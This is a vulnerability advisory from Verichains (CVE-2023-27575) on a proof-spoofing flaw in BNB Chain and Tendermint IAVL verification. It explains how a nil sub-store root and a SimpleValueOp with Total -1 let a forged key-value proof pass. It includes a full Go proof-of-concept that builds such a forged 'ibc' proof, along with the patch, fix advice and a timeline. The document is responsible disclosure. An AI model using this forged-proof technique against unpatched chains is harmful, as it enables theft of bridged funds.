[VSA-2022-101] From Nil to Spoof - Critical IAVL Spoofing Attack via Multiple Vulnerabilities (CVE-2023-27575)
Verichains discovered a critical IAVL Spoofing Attack via multiple vulnerabilities found in BNB Chain and Tendermint that could have resulted in a significant loss of funds.
This advisory highlights a critical IAVL Spoofing Attack via multiple vulnerabilities discovered by Verichains in BNB Chain and Tendermint codebase (CVE-2023-27575).
An attacker could potentially launch an IAVL spoofing attack resulting in a significant loss of funds similar to the previous hack by exploiting the chain of weaknesses described in this advisory. We privately disclosed the issue to BNB Chain, and the issue was swiftly patched on the same day. Thanks to this effort, no malicious exploitation occurred, and no funds were lost.
Summary
BNB Smart Chain (BSC) implements a number of dedicated built-in system mechanisms to assist with cross-chain bridging. In order to ensure that submitted Merkle proofs between chains are valid, BSC uses a number of IAVL + Merkle Tree implementation from Tendermint and Cosmos. IAVL Tree is used to prove or disprove the presence of a cross-chain transaction and a respective payload hash.
On Oct 6, 2022 BNB Chain's Cross-Chain Bridge was exploited to illegally issue 2M BNB, worth ~$566m due to a vulnerability in IAVL’s RangeProof verification in the code.
On Oct 11, 2022 Verichains found a new critical issue in `merkle.SimpleValueOp` in BSC and Tendermint (`ValueOp`). This `ProofOp` may output a nil root hash after verifying the input key-value pair. In BSC, an attacker could trick the light client into accepting arbitrary key-value pairs of any sub-store (the `ibc` sub-store in our case) by using multistore proof at a BC height at the time the BSC chain had just been deployed (so the IBC sub-store root hash was nil).
We privately disclosed the issue to BNB Chain, and the issue was swiftly patched on the same day. Thanks to this effort, no malicious exploitation occurred, and no funds were lost.
Due to the security concerns discovered in Tendermint highlighted by this advisory, we decided to wait for 120 days following our vulnerability disclosure policy before releasing to the public, together with VSA-2022-100. We urge all projects still using Tendermint's IAVL proof verification to take necessary measures to secure their assets and mitigate the risk of exploitation.
Analysis
There are several weaknesses in the codebases leading to this attack:
The only proof structure in use is `[ProofOpIAVLValue, ProofOpMultiStore]`. However, this structure is not enforced as there’s no restriction on the length of the list of `ProofOps` and the type of each `ProofOp`. Unused `ProofOp` types such as `ProofOpSimpleValue` are also registered at runtime:
func DefaultProofRuntime() (prt *merkle.ProofRuntime) {
prt = merkle.NewProofRuntime()
prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder)
prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder)
prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder)
prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder)
return
}
In a multi-store proof, the root hash of a sub-store in a `CommitID` is allowed to be nil (it is simply a Golang byte slice). The hash of an empty sub-store should not be nil as it’s always a good practice to define a hash-of-nothing:
type CommitID struct {
Version int64
Hash []byte
}
After verifying the input key-value pair, `ProofOpSimpleValue` returns a nil root hash instead of raising an error on unexpected input, (e.g. tree has negative number of nodes). This is similar to the `ProofOpValue` bug in Tendermint reported in VSA-2022-100:
func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte {
if index >= total || index < 0 || total <= 0 {
return nil
}
It’s straightforward to combine these weaknesses to trick the light client into accepting arbitrary key-value pair of any sub-store (the `ibc` sub-store in our case):
Find a valid proof at a height at which the sub-store is empty (its root hash is nil).
Keep the multistore proof part unchanged.
Replace the `ProofOpIAVLValue` with a `ProofOpSimpleValue` in which `SimpleProof.LeafHash` is the hash of a key-value pair of our choice and `SimpleProof.Total` is -1.
Exploitation
Here's a PoC demonstrating the attack:
package main
import (
"bytes"
"encoding/hex"
"github.com/ethereum/go-ethereum/core/vm/lightclient"
goanimo "github.com/tendermint/go-amino"
"github.com/tendermint/tendermint/crypto/merkle"
"github.com/tendermint/tendermint/crypto/tmhash"
"log"
)
func main() {
// multistore proof at BC height 110000000
// at that height ibc hash should be nil
height := 110000000
inputHex := "fa040af7040a320a05706169727312290a270880efb9341220328782b39fe53e184b7ead914a980f8e0083d4bac27df60e64282a74165e0ddf0a330a06706172616d7312290a270880efb934122050abddcb7c115123a5a4247613ab39e6ba935a3d4f4b9123c4fedfa0895c040a0a110a0662726964676512070a050880efb9340a300a0364657812290a270880efb9341220253001fffd68535a313221a4481b181ae4568f0ceb5c1ae67da6dd727b14bdf80a300a03676f7612290a270880efb9341220db85ddd37470983b14186e975a175dfb0bf301b43de685ced0aef18d28b4e0420a320a057374616b6512290a270880efb934122002678e8b07f000c61bbd3f7e5c34f088141ccad3d368c00ca7d6cd346d3013450a110a066f7261636c6512070a050880efb9340a360a0974696d655f6c6f636b12290a270880efb93412204775dbe01d41cab018c21ba5c2af94720e4d7119baf693670e70a40ba2a521430a300a0361636312290a270880efb934122016a9efeab4880e420629c7da04c7506de328deb5515420d147e798f9686acca00a0f0a046d61696e12070a050880efb9340a330a06746f6b656e7312290a270880efb93412200ae8c948c98d036ac77713343c5140b83b5e51f643dc295646e48dbdac93758e0a0e0a0376616c12070a050880efb9340a380a0b61746f6d69635f7377617012290a270880efb9341220768be67fec7165ac91d45ee151e4383bad5ee137de870a620d7bbd3806df35e60a2f0a02736312290a270880efb93412201b582653149f02cfa5f71e8ecb178407d2f945cb5b10aad2d20e3e3672379a020a0e0a0369626312070a050880efb9340a130a08736c617368696e6712070a050880efb934"
input, err := hex.DecodeString(inputHex)
if err != nil {
panic(err)
}
op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input})
if err != nil {
panic(err)
}
appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash()
log.Printf("expected appHash at %d (maybe +1, not sure): %s\n", height, hex.EncodeToString(appHash))
// fake key-value pair and its hash
key := []byte{0x13, 0x37}
value := []byte{0x13, 0x37}
vhash := tmhash.Sum(value)
bz := new(bytes.Buffer)
_ = goanimo.EncodeByteSlice(bz, key) // does not error
_ = goanimo.EncodeByteSlice(bz, vhash)
kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...))
// this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height.
op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{
LeafHash: kvhash,
Total: -1,
})
fakeKVMP := lightclient.KeyValueMerkleProof{
Key: key,
Value: value,
StoreName: "ibc",
AppHash: appHash,
Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}},
}
// should be evaluated to true
log.Println(fakeKVMP.Validate())
}
Affected Products
BNB Chain (All versions before commit 0278f6876e9077d050b518a502442875ae0ccb0c on Oct 11, 2022)
Recommendations
Don’t register decoders for `ProofOpSimpleValue` and `ProofOpIAVLAbsence` in the function `DefaultProofRuntime` as they’re not used. It’s also nice to check the type of each `ProofOp` based on its index in a proof’s list of `ProofOps`.
Consider defining a hash for an empty sub-store (may introduce incompatibility).
We recommend practicing secure coding, where a sanity check is done right before the input is consumed, so users can never get exploited no matter how they use third-party code.
Acknowledgments
We express our gratitude to the BNB Chain security and development team for their prompt efforts in addressing the vulnerability identified in the BNB Chain codebase.
Timeline
Oct 11, 2022: Report privately to the BNB Chain team
Oct 11, 2022: BNB Chain development team released a patch to fix the issues (https://github.com/bnb-chain/bsc/pull/1121/commits/0278f6876e9077d050b518a 502442875ae0ccb0c)
Mar 08, 2023: Public release (CVE-2023-27575)
==============
About Verichains
Since 2017, Verichains has been a pioneer and leading blockchain security firm in APAC, with extensive expertise in security, cryptography and core blockchain technology. More than 200 clients trust us with $50 billion in assets under protection, including several high-profile clients such as BNB Chain, Klaytn, Wemix, Multichain, Line Corp, Axie Infinity, Ronin Network, and Kyber Network.
Our world-class security and cryptography research team have found several vulnerabilities in layer-1 protocol, crypto library, bridge, and smart contracts. We are also proud to be the firm that helped to investigate, root cause analysis, and fix security issues in the two largest global crypto hacks: BNB Chain Bridge and Ronin Bridge (Sky Mavis).
With the in-depth research and development of blockchain technology, Verichains provides blockchain security services such as blockchain protocol and smart contract security audit, mobile application protection, key management solution, on-chain risk monitoring, and red team/penetration testing services.
Homepage: https://www.verichains.io
Email: info@verichains.io
Twitter: https://twitter.com/Verichains
Linkedin: https://www.linkedin.com/company/verichains
Facebook: https://facebook.com/verichains
Telegram: https://t.me/+Y29xcaxJLJxjNDVl
How did you get multistore proof value at BC height 110000000 (inputHex value)? Did you generate it by yourself?